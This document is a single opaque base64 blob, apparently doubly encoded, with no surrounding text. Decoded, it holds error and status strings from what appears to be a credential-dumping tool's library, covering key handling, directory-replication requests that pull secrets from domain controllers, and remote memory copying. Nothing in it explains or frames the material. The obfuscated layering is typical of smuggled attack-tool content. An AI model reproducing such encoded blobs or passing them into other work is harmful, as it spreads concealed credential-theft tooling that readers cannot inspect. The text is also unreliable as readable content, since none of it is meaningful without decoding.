Z0FJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBRG9BSUFBQUFBQUFKUUFxQUhNQUlBQWdBSEFBVUFCMUFHSUFiQUJwQUdNQVN3QmxBSGtBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FBQUFBQUFsQUNvQWN3QWdBQ0FBY0FCUUFISUFhUUIyQUdFQWRBQmxBRXNBWlFCNUFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBNkFBb0FBQUFBQUNVQUtnQnpBQ0FBSUFCd0FFVUFlQUJ3QUc4QWNnQjBBRVlBYkFCaEFHY0FJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FDZ0FBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCckFHVUFlUUJmQUdNQWJnQm5BRjhBWXdCeUFHVUFZUUIwQUdVQUlBQTdBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QnJBR1VBZVFCZkFHTUFiZ0JuQUY4QWNBQnlBRzhBY0FCbEFISUFkQUJwQUdVQWN3QmZBR01BY2dCbEFHRUFkQUJsQUNBQUtBQndBSFVBWWdCc0FHa0FZd0FwQUFvQUFBQUFBQUFBQUFBbEFDb0Fjd0FxQUNvQVN3QkZBRmtBSUFBb0FHTUFiZ0JuQUNrQUtnQXFBQW9BQUFBQUFBQUFKUUFxQUhNQUlBQWdBR1FBZHdCV0FHVUFjZ0J6QUdrQWJ3QnVBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFPZ0FnQUNVQU1BQTRBSGdBSUFBdEFDQUFKUUIxQUFvQUFBQWxBQ29BY3dBZ0FDQUFkUUJ1QUdzQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQTZBQ0FBSlFBd0FEZ0FlQUFnQUMwQUlBQWxBSFVBQ2dBQUFDVUFLZ0J6QUNBQUlBQmtBSGNBVGdCaEFHMEFaUUJNQUdVQWJnQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFsQURBQU9BQjRBQ0FBTFFBZ0FDVUFkUUFLQUFBQUpRQXFBSE1BSUFBZ0FIUUFlUUJ3QUdVQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQU9nQWdBQ1VBTUFBNEFIZ0FJQUF0QUNBQUpRQjFBQW9BQUFBbEFDb0Fjd0FnQUNBQVpBQjNBRkFBZFFCaUFHd0FhUUJqQUZBQWNnQnZBSEFBWlFCeUFIUUFhUUJsQUhNQVRBQmxBRzRBSUFBNkFDQUFKUUF3QURnQWVBQWdBQzBBSUFBbEFIVUFDZ0FBQUNVQUtnQnpBQ0FBSUFCa0FIY0FVQUJ5QUdrQWRnQmhBSFFBWlFCUUFISUFid0J3QUdVQWNnQjBBR2tBWlFCekFFd0FaUUJ1QURvQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQUtBQUFBSlFBcUFITUFJQUFnQUdRQWR3QlFBSElBYVFCMkFHRUFkQUJsQUVzQVpRQjVBRXdBWlFCdUFDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFBb0FBQUFsQUNvQWN3QWdBQ0FBZFFCdUFHc0FRUUJ5QUhJQVlRQjVBRnNBTVFBMkFGMEFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUE2QUNBQUFBQUFBQUFBSlFBcUFITUFJQUFnQUhBQVRnQmhBRzBBWlFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FBQUFBQUFBQUNVQUxnQXFBSE1BQ2dBQUFBQUFBQUFsQUNvQWN3QWdBQ0FBY0FCUUFIVUFZZ0JzQUdrQVl3QlFBSElBYndCd0FHVUFjZ0IwQUdrQVpRQnpBQ0FBSUFBZ0FDQUFJQUE2QUNBQUFBQUFBQUFBSlFBcUFITUFJQUFnQUhBQVVBQnlBR2tBZGdCaEFIUUFaUUJRQUhJQWJ3QndBR1VBY2dCMEFHa0FaUUJ6QUNBQUlBQWdBQ0FBT2dBS0FBQUFBQUFBQUNVQUtnQnpBQ0FBSUFCd0FGQUFjZ0JwQUhZQVlRQjBBR1VBU3dCbEFIa0FJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQURvQUNnQUFBQUFBQUFBbEFDb0Fjd0FxQUNvQVN3QkZBRmtBSUFCREFFNEFSd0FnQUZBQVVnQlBBRkFBUlFCU0FGUUFXUUFxQUNvQUNnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUpRQXFBSE1BSUFBZ0FHUUFkd0JUQUhRQWNnQjFBR01BZEFCTUFHVUFiZ0FnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFBb0FBQUFBQUFBQUFBQUFBQUFBQUFBbEFDb0Fjd0FnQUNBQWRBQjVBSEFBWlFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUE2QUNBQUpRQXdBRGdBZUFBZ0FDMEFJQUFsQUhVQUNnQUFBQUFBQUFBQUFBQUFBQUFBQUNVQUtnQnpBQ0FBSUFCMUFHNEFhd0FnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBRG9BSUFBbEFEQUFPQUI0QUNBQUxRQWdBQ1VBZFFBS0FBQUFBQUFBQUFBQUFBQUFBQUFBSlFBcUFITUFJQUFnQUdRQWR3Qk9BR0VBYlFCbEFFd0FaUUJ1QUNBQUlBQWdBQ0FBSUFBZ0FDQUFPZ0FnQUNVQU1BQTRBSGdBSUFBdEFDQUFKUUIxQUFvQUFBQUFBQUFBQUFBQUFBQUFBQUFsQUNvQWN3QWdBQ0FBWkFCM0FGQUFjZ0J2QUhBQVpRQnlBSFFBZVFCTUFHVUFiZ0FnQUNBQUlBQTZBQ0FBSlFBd0FEZ0FlQUFnQUMwQUlBQWxBSFVBQ2dBQUFBQUFBQUFsQUNvQWN3QWdBQ0FBY0FCT0FHRUFiUUJsQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQTZBQ0FBQUFBbEFDb0Fjd0FnQUNBQWNBQlFBSElBYndCd0FHVUFjZ0IwQUhrQUlBQWdBQ0FBSUFBZ0FDQUFJQUE2QUNBQUFBQWxBSFVBSUFCbUFHa0FaUUJzQUdRQUtBQnpBQ2tBQ2dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR3dBYkFCZkFHMEFYd0J1QUdVQWRBQmZBR2NBWlFCMEFFUUFRd0FnQURzQUlBQkVBSE1BUndCbEFIUUFSQUJqQUU0QVlRQnRBR1VBT2dBZ0FDVUFkUUFLQUFBQVlRQUFBQ0lBSlFCekFDSUFJQUJ6QUdVQWNnQjJBR2tBWXdCbEFDQUFjQUJoQUhRQVl3Qm9BR1VBWkFBS0FBQUFBQUFBQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR3dBYkFCZkFHMEFYd0J3QUdFQWRBQmpBR2dBWHdCbkFHVUFiZ0JsQUhJQWFRQmpBRkFBY2dCdkFHTUFaUUJ6QUhNQVR3QnlBRk1BWlFCeUFIWUFhUUJqQUdVQVJnQnlBRzhBYlFCQ0FIVUFhUUJzQUdRQUlBQTdBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QndBR0VBZEFCakFHZ0FJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFjQUJoQUhRQVl3Qm9BRjhBWndCbEFHNEFaUUJ5QUdrQVl3QlFBSElBYndCakFHVUFjd0J6QUU4QWNnQlRBR1VBY2dCMkFHa0FZd0JsQUVZQWNnQnZBRzBBUWdCMUFHa0FiQUJrQUNBQU93QWdBR3NBZFFCc0FHd0FYd0J0QUY4QWNBQnlBRzhBWXdCbEFITUFjd0JmQUdjQVpRQjBBRllBWlFCeUFIa0FRZ0JoQUhNQWFRQmpBRTBBYndCa0FIVUFiQUJsQUVrQWJnQm1BRzhBY2dCdEFHRUFkQUJwQUc4QWJnQnpBRVlBYndCeUFFNEFZUUJ0QUdVQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCc0FHd0FYd0J0QUY4QWNBQmhBSFFBWXdCb0FGOEFad0JsQUc0QVpRQnlBR2tBWXdCUUFISUFid0JqQUdVQWN3QnpBRThBY2dCVEFHVUFjZ0IyQUdrQVl3QmxBRVlBY2dCdkFHMEFRZ0IxQUdrQWJBQmtBQ0FBT3dBZ0FFOEFjQUJsQUc0QVVBQnlBRzhBWXdCbEFITUFjd0FnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUhBQVlRQjBBR01BYUFCZkFHY0FaUUJ1QUdVQWNnQnBBR01BVUFCeUFHOEFZd0JsQUhNQWN3QlBBSElBVXdCbEFISUFkZ0JwQUdNQVpRQkdBSElBYndCdEFFSUFkUUJwQUd3QVpBQWdBRHNBSUFCVEFHVUFjZ0IyQUdrQVl3QmxBQ0FBYVFCekFDQUFiZ0J2QUhRQUlBQnlBSFVBYmdCdUFHa0FiZ0JuQUFvQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR3dBYkFCZkFHMEFYd0J3QUdFQWRBQmpBR2dBWHdCbkFHVUFiZ0JsQUhJQWFRQmpBRkFBY2dCdkFHTUFaUUJ6QUhNQVR3QnlBRk1BWlFCeUFIWUFhUUJqQUdVQVJnQnlBRzhBYlFCQ0FIVUFhUUJzQUdRQUlBQTdBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QnpBR1VBY2dCMkFHa0FZd0JsQUY4QVp3QmxBSFFBVlFCdUFHa0FjUUIxQUdVQVJnQnZBSElBVGdCaEFHMEFaUUFnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCd0FHRUFkQUJqQUdnQVh3Qm5BR1VBYmdCbEFISUFhUUJqQUZBQWNnQnZBR01BWlFCekFITUFUd0J5QUZNQVpRQnlBSFlBYVFCakFHVUFSZ0J5QUc4QWJRQkNBSFVBYVFCc0FHUUFJQUE3QUNBQVNRQnVBR01BYndCeUFISUFaUUJqQUhRQUlBQjJBR1VBY2dCekFHa0Fid0J1QUNBQWFRQnVBQ0FBY2dCbEFHWUFaUUJ5QUdVQWJnQmpBR1VBY3dBS0FBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFiQUJzQUY4QWJRQmZBSElBWlFCdEFHOEFkQUJsQUd3QWFRQmlBRjhBWXdCeUFHVUFZUUIwQUdVQUlBQTdBQ0FBVWdCMEFHd0FRd0J5QUdVQVlRQjBBR1VBVlFCekFHVUFjZ0JVQUdnQWNnQmxBR0VBWkFBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBY2dCbEFHMEFid0IwQUdVQWJBQnBBR0lBWHdCakFISUFaUUJoQUhRQVpRQWdBRHNBSUFCREFISUFaUUJoQUhRQVpRQlNBR1VBYlFCdkFIUUFaUUJVQUdnQWNnQmxBR0VBWkFBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUFBQUFBQVZBQm9BQ0FBUUFBZ0FDVUFjQUFLQUVRQVlRQWdBRUFBSUFBbEFIQUFDZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QnlBR1VBYlFCdkFIUUFaUUJzQUdrQVlnQmZBR01BY2dCbEFHRUFkQUJsQUNBQU93QWdBR3NBZFFCc0FHd0FYd0J0QUY4QWF3QmxBSElBYmdCbEFHd0FYd0JwQUc4QVl3QjBBR3dBWHdCb0FHRUFiZ0JrQUd3QVpRQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QnlBR1VBYlFCdkFIUUFaUUJzQUdrQVlnQmZBRU1BY2dCbEFHRUFkQUJsQUZJQVpRQnRBRzhBZEFCbEFFTUFid0JrQUdVQVZ3QnBBSFFBZEFCb0FGQUFZUUIwQUhRQVpRQnlBRzRBVWdCbEFIQUFiQUJoQUdNQVpRQWdBRHNBSUFCckFIVUFiQUJzQUY4QWJRQmZBRzBBWlFCdEFHOEFjZ0I1QUY4QVl3QnZBSEFBZVFBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUFBQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR3dBYkFCZkFHMEFYd0J5QUdVQWJRQnZBSFFBWlFCc0FHa0FZZ0JmQUVNQWNnQmxBR0VBZEFCbEFGSUFaUUJ0QUc4QWRBQmxBRU1BYndCa0FHVUFWd0JwQUhRQWRBQm9BRkFBWVFCMEFIUUFaUUJ5QUc0QVVnQmxBSEFBYkFCaEFHTUFaUUFnQURzQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUcwQVpRQnRBRzhBY2dCNUFGOEFZUUJzQUd3QWJ3QmpBQ0FBTHdBZ0FGWUFhUUJ5QUhRQWRRQmhBR3dBUVFCc0FHd0Fid0JqQUNnQVJRQjRBQ2tBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFiQUJzQUY4QWJRQmZBSElBWlFCdEFHOEFkQUJsQUd3QWFRQmlBRjhBUXdCeUFHVUFZUUIwQUdVQVVnQmxBRzBBYndCMEFHVUFRd0J2QUdRQVpRQlhBR2tBZEFCMEFHZ0FVQUJoQUhRQWRBQmxBSElBYmdCU0FHVUFjQUJzQUdFQVl3QmxBQ0FBT3dBZ0FFNEFid0FnQUdJQWRRQm1BR1lBWlFCeUFDQUFQd0FLQUFBQUFBQUFBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QnlBSEFBWXdCZkFHUUFjZ0J6QUhJQVh3QlNBSEFBWXdCVEFHVUFZd0IxQUhJQWFRQjBBSGtBUXdCaEFHd0FiQUJpQUdFQVl3QnJBQ0FBT3dBZ0FGRUFkUUJsQUhJQWVRQkRBRzhBYmdCMEFHVUFlQUIwQUVFQWRBQjBBSElBYVFCaUFIVUFkQUJsQUhNQUlBQWxBREFBT0FCNEFBb0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCc0FHd0FYd0J0QUY4QWNnQndBR01BWHdCa0FISUFjd0J5QUY4QVVnQndBR01BVXdCbEFHTUFkUUJ5QUdrQWRBQjVBRU1BWVFCc0FHd0FZZ0JoQUdNQWF3QWdBRHNBSUFCSkFGOEFVZ0J3QUdNQVFnQnBBRzRBWkFCcEFHNEFad0JKQUc0QWNRQlRBR1VBWXdCMUFISUFhUUIwQUhrQVF3QnZBRzRBZEFCbEFIZ0FkQUFnQUNVQU1BQTRBSGdBQ2dBQUFBQUFBQUFBQUc0QVl3QmhBR01BYmdCZkFHa0FjQUJmQUhRQVl3QndBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWJBQnNBRjhBYlFCZkFISUFjQUJqQUY4QVpBQnlBSE1BY2dCZkFHTUFjZ0JsQUdFQWRBQmxBRUlBYVFCdUFHUUFhUUJ1QUdjQUlBQTdBQ0FBVWdCd0FHTUFRZ0JwQUc0QVpBQnBBRzRBWndCVEFHVUFkQUJQQUhBQWRBQnBBRzhBYmdBNkFDQUFNQUI0QUNVQU1BQTRBSGdBSUFBb0FDVUFkUUFwQUFvQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWJBQnNBRjhBYlFCZkFISUFjQUJqQUY4QVpBQnlBSE1BY2dCZkFHTUFjZ0JsQUdFQWRBQmxBRUlBYVFCdUFHUUFhUUJ1QUdjQUlBQTdBQ0FBVWdCd0FHTUFRZ0JwQUc0QVpBQnBBRzRBWndCVEFHVUFkQUJCQUhVQWRBQm9BRWtBYmdCbUFHOEFSUUI0QURvQUlBQXdBSGdBSlFBd0FEZ0FlQUFnQUNnQUpRQjFBQ2tBQ2dBQUFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCeUFIQUFZd0JmQUdRQWNnQnpBSElBWHdCakFISUFaUUJoQUhRQVpRQkNBR2tBYmdCa0FHa0FiZ0JuQUNBQU93QWdBRTRBYndBZ0FFSUFhUUJ1QUdRQWFRQnVBR2NBSVFBS0FBQUFBQUFBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFjZ0J3QUdNQVh3QmtBSElBY3dCeUFGOEFZd0J5QUdVQVlRQjBBR1VBUWdCcEFHNEFaQUJwQUc0QVp3QWdBRHNBSUFCU0FIQUFZd0JDQUdrQWJnQmtBR2tBYmdCbkFFWUFjZ0J2QUcwQVV3QjBBSElBYVFCdUFHY0FRZ0JwQUc0QVpBQnBBRzRBWndBNkFDQUFNQUI0QUNVQU1BQTRBSGdBSUFBb0FDVUFkUUFwQUFvQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWJBQnNBRjhBYlFCZkFISUFjQUJqQUY4QVpBQnlBSE1BY2dCZkFHTUFjZ0JsQUdFQWRBQmxBRUlBYVFCdUFHUUFhUUJ1QUdjQUlBQTdBQ0FBVWdCd0FHTUFVd0IwQUhJQWFRQnVBR2NBUWdCcEFHNEFaQUJwQUc0QVp3QkRBRzhBYlFCd0FHOEFjd0JsQURvQUlBQXdBSGdBSlFBd0FEZ0FlQUFnQUNnQUpRQjFBQ2tBQ2dBQUFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCeUFIQUFZd0JmQUdRQWNnQnpBSElBWHdCbkFHVUFkQUJFQUc4QWJRQmhBR2tBYmdCQkFHNEFaQUJWQUhNQVpRQnlBRWtBYmdCbUFHOEFjd0FnQURzQUlBQkVBRzhBYlFCaEFHa0FiZ0JEQUc4QWJnQjBBSElBYndCc0FHd0FaUUJ5QUVrQWJnQm1BRzhBT2dBZ0FFUUFRd0FnQUNjQUpRQnpBQ2NBSUFCdUFHOEFkQUFnQUdZQWJ3QjFBRzRBWkFBS0FBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFiQUJzQUY4QWJRQmZBSElBY0FCakFGOEFaQUJ5QUhNQWNnQmZBR2NBWlFCMEFFUUFid0J0QUdFQWFRQnVBRUVBYmdCa0FGVUFjd0JsQUhJQVNRQnVBR1lBYndCekFDQUFPd0FnQUVRQWJ3QnRBR0VBYVFCdUFFTUFid0J1QUhRQWNnQnZBR3dBYkFCbEFISUFTUUJ1QUdZQWJ3QTZBQ0FBWWdCaEFHUUFJQUIyQUdVQWNnQnpBR2tBYndCdUFDQUFLQUFsQUhVQUtRQUtBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCc0FHd0FYd0J0QUY4QWNnQndBR01BWHdCa0FISUFjd0J5QUY4QVp3QmxBSFFBUkFCdkFHMEFZUUJwQUc0QVFRQnVBR1FBVlFCekFHVUFjZ0JKQUc0QVpnQnZBSE1BSUFBN0FDQUFSQUJ2QUcwQVlRQnBBRzRBUXdCdkFHNEFkQUJ5QUc4QWJBQnNBR1VBY2dCSkFHNEFaZ0J2QURvQUlBQXdBSGdBSlFBd0FEZ0FlQUFnQUNnQUpRQjFBQ2tBQ2dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR3dBYkFCZkFHMEFYd0J5QUhBQVl3QmZBR1FBY2dCekFISUFYd0JuQUdVQWRBQkVBRzhBYlFCaEFHa0FiZ0JCQUc0QVpBQlZBSE1BWlFCeUFFa0FiZ0JtQUc4QWN3QWdBRHNBSUFCU0FGQUFRd0FnQUVVQWVBQmpBR1VBY0FCMEFHa0Fid0J1QUNBQU1BQjRBQ1VBTUFBNEFIZ0FJQUFvQUNVQWRRQXBBQW9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFjZ0J3QUdNQVh3QmtBSElBY3dCeUFGOEFad0JsQUhRQVJBQkRBRUlBYVFCdUFHUUFJQUE3QUNBQVNRQnVBR01BYndCeUFISUFaUUJqQUhRQUlBQkVBRklBVXdBZ0FFVUFlQUIwQUdVQWJnQnpBR2tBYndCdUFITUFJQUJQQUhVQWRBQndBSFVBZEFBZ0FDZ0FKUUF3QURnQWVBQXBBQW9BQUFBQUFBQUFBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWJBQnNBRjhBYlFCZkFISUFjQUJqQUY4QVpBQnlBSE1BY2dCZkFHY0FaUUIwQUVRQVF3QkNBR2tBYmdCa0FDQUFPd0FnQUU0QWJ3QWdBRVFBVWdCVEFDQUFSUUI0QUhRQVpRQnVBSE1BYVFCdkFHNEFjd0FnQUU4QWRRQjBBSEFBZFFCMEFBb0FBQUFBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFjZ0J3QUdNQVh3QmtBSElBY3dCeUFGOEFad0JsQUhRQVJBQkRBRUlBYVFCdUFHUUFJQUE3QUNBQVNRQkVBRXdBWHdCRUFGSUFVd0JDQUdrQWJnQmtBRG9BSUFBbEFIVUFDZ0FBQUFBQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUhJQWNBQmpBRjhBWkFCeUFITUFjZ0JmQUdjQVpRQjBBRVFBUXdCQ0FHa0FiZ0JrQUNBQU93QWdBRklBVUFCREFDQUFSUUI0QUdNQVpRQndBSFFBYVFCdkFHNEFJQUF3QUhnQUpRQXdBRGdBZUFBZ0FDZ0FKUUIxQUNrQUNnQUFBQUFBQUFBQUFFNEFUd0JmQUVVQVVnQlNBRThBVWdBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdCZkFGSUFSUUJUQUU4QVRBQldBRWtBVGdCSEFBQUFSUUJTQUZJQVR3QlNBRjhBVGdCUEFGUUFYd0JHQUU4QVZRQk9BRVFBQUFCRkFGSUFVZ0JQQUZJQVh3Qk9BRThBVkFCZkFGVUFUZ0JKQUZFQVZRQkZBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBRjhBVGdCUEFGOEFUUUJCQUZBQVVBQkpBRTRBUndBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdCZkFFUUFUd0JOQUVFQVNRQk9BRjhBVHdCT0FFd0FXUUFBQUFBQUFBQkZBRklBVWdCUEFGSUFYd0JPQUU4QVh3QlRBRmtBVGdCVUFFRUFRd0JVQUVrQVF3QkJBRXdBWHdCTkFFRUFVQUJRQUVrQVRnQkhBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBRjhBVkFCU0FGVUFVd0JVQUY4QVVnQkZBRVlBUlFCU0FGSUFRUUJNQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR3dBYkFCZkFHMEFYd0J5QUhBQVl3QmZBR1FBY2dCekFISUFYd0JEQUhJQVlRQmpBR3NBVGdCaEFHMEFaUUFnQURzQUlBQkRBSElBWVFCakFHc0FUZ0JoQUcwQVpRQnpBQ0FBS0FCdUFHRUFiUUJsQUNBQWN3QjBBR0VBZEFCMUFITUFLUUE2QUNBQU1BQjRBQ1VBTUFBNEFIZ0FJQUFvQUNVQWRRQXBBQ0FBTFFBZ0FDVUFjd0FLQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFjZ0J3QUdNQVh3QmtBSElBY3dCeUFGOEFRd0J5QUdFQVl3QnJBRTRBWVFCdEFHVUFJQUE3QUNBQVF3QnlBR0VBWXdCckFFNEFZUUJ0QUdVQWN3QTZBQ0FBYmdCdkFDQUFhUUIwQUdVQWJRQWhBQW9BQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUhJQWNBQmpBRjhBWkFCeUFITUFjZ0JmQUVNQWNnQmhBR01BYXdCT0FHRUFiUUJsQUNBQU93QWdBRU1BY2dCaEFHTUFhd0JPQUdFQWJRQmxBSE1BT2dBZ0FHSUFZUUJrQUNBQWRnQmxBSElBY3dCcEFHOEFiZ0FnQUNnQUpRQjFBQ2tBQ2dBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCc0FHd0FYd0J0QUY4QWNnQndBR01BWHdCa0FISUFjd0J5QUY4QVF3QnlBR0VBWXdCckFFNEFZUUJ0QUdVQUlBQTdBQ0FBUXdCeUFHRUFZd0JyQUU0QVlRQnRBR1VBY3dBNkFDQUFNQUI0QUNVQU1BQTRBSGdBSUFBb0FDVUFkUUFwQUFvQUFBQUFBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QnlBSEFBWXdCZkFHUUFjZ0J6QUhJQVh3QkRBSElBWVFCakFHc0FUZ0JoQUcwQVpRQWdBRHNBSUFCU0FGQUFRd0FnQUVVQWVBQmpBR1VBY0FCMEFHa0Fid0J1QUNBQU1BQjRBQ1VBTUFBNEFIZ0FJQUFvQUNVQWRRQXBBQW9BQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFiQUJzQUY4QWJRQmZBSElBY0FCakFGOEFaQUJ5QUhNQWNnQmZBRkFBY2dCdkFHTUFaUUJ6QUhNQVJ3QmxBSFFBVGdCREFFTUFhQUJoQUc0QVp3QmxBSE1BVWdCbEFIQUFiQUI1QUY4QVpBQmxBR01BY2dCNUFIQUFkQUFnQURzQUlBQkRBR2dBWlFCakFHc0Fjd0IxQUcwQWN3QWdBR1FBYndCdUFDY0FkQUFnQUcwQVlRQjBBR01BYUFBZ0FDZ0FRd0E2QURBQWVBQWxBREFBT0FCNEFDQUFMUUFnQUZJQU9nQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR3dBYkFCZkFHMEFYd0J5QUhBQVl3QmZBR1FBY2dCekFISUFYd0JRQUhJQWJ3QmpBR1VBY3dCekFFY0FaUUIwQUU0QVF3QkRBR2dBWVFCdUFHY0FaUUJ6QUZJQVpRQndBR3dBZVFCZkFHUUFaUUJqQUhJQWVRQndBSFFBSUFBN0FDQUFVZ0IwQUd3QVJRQnVBR01BY2dCNUFIQUFkQUJFQUdVQVl3QnlBSGtBY0FCMEFGSUFRd0EwQUFvQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFjZ0J3QUdNQVh3QmtBSElBY3dCeUFGOEFVQUJ5QUc4QVl3QmxBSE1BY3dCSEFHVUFkQUJPQUVNQVF3Qm9BR0VBYmdCbkFHVUFjd0JTQUdVQWNBQnNBSGtBWHdCa0FHVUFZd0J5QUhrQWNBQjBBQ0FBT3dBZ0FFNEFid0FnQUhZQVlRQnNBR2tBWkFBZ0FHUUFZUUIwQUdFQUNnQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFjZ0J3QUdNQVh3QmtBSElBY3dCeUFGOEFVQUJ5QUc4QVl3QmxBSE1BY3dCSEFHVUFkQUJPQUVNQVF3Qm9BR0VBYmdCbkFHVUFjd0JTQUdVQWNBQnNBSGtBWHdCa0FHVUFZd0J5QUhrQWNBQjBBQ0FBT3dBZ0FFNEFid0FnQUZNQVpRQnpBSE1BYVFCdkFHNEFJQUJMQUdVQWVRQUtBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWJBQnNBRjhBYlFCZkFISUFjQUJqQUY4QVpBQnlBSE1BY2dCZkFHWUFjZ0JsQUdVQVh3QkVBRklBVXdCZkFFMEFVd0JIQUY4QVF3QlNBRUVBUXdCTEFGSUFSUUJRQUV3QVdRQmZBR1FBWVFCMEFHRUFJQUE3QUNBQWJnQmhBRzBBWlFCREFISUFZUUJqQUdzQVR3QjFBSFFBVmdCbEFISUFjd0JwQUc4QWJnQWdBRzRBYndCMEFDQUFkZ0JoQUd3QWFRQmtBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQWdBQzBBSUFBbEFIVUFLUUFLQUFBQUFBQUFBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QnlBSEFBWXdCZkFHUUFjZ0J6QUhJQVh3Qm1BSElBWlFCbEFGOEFSQUJTQUZNQVh3Qk5BRk1B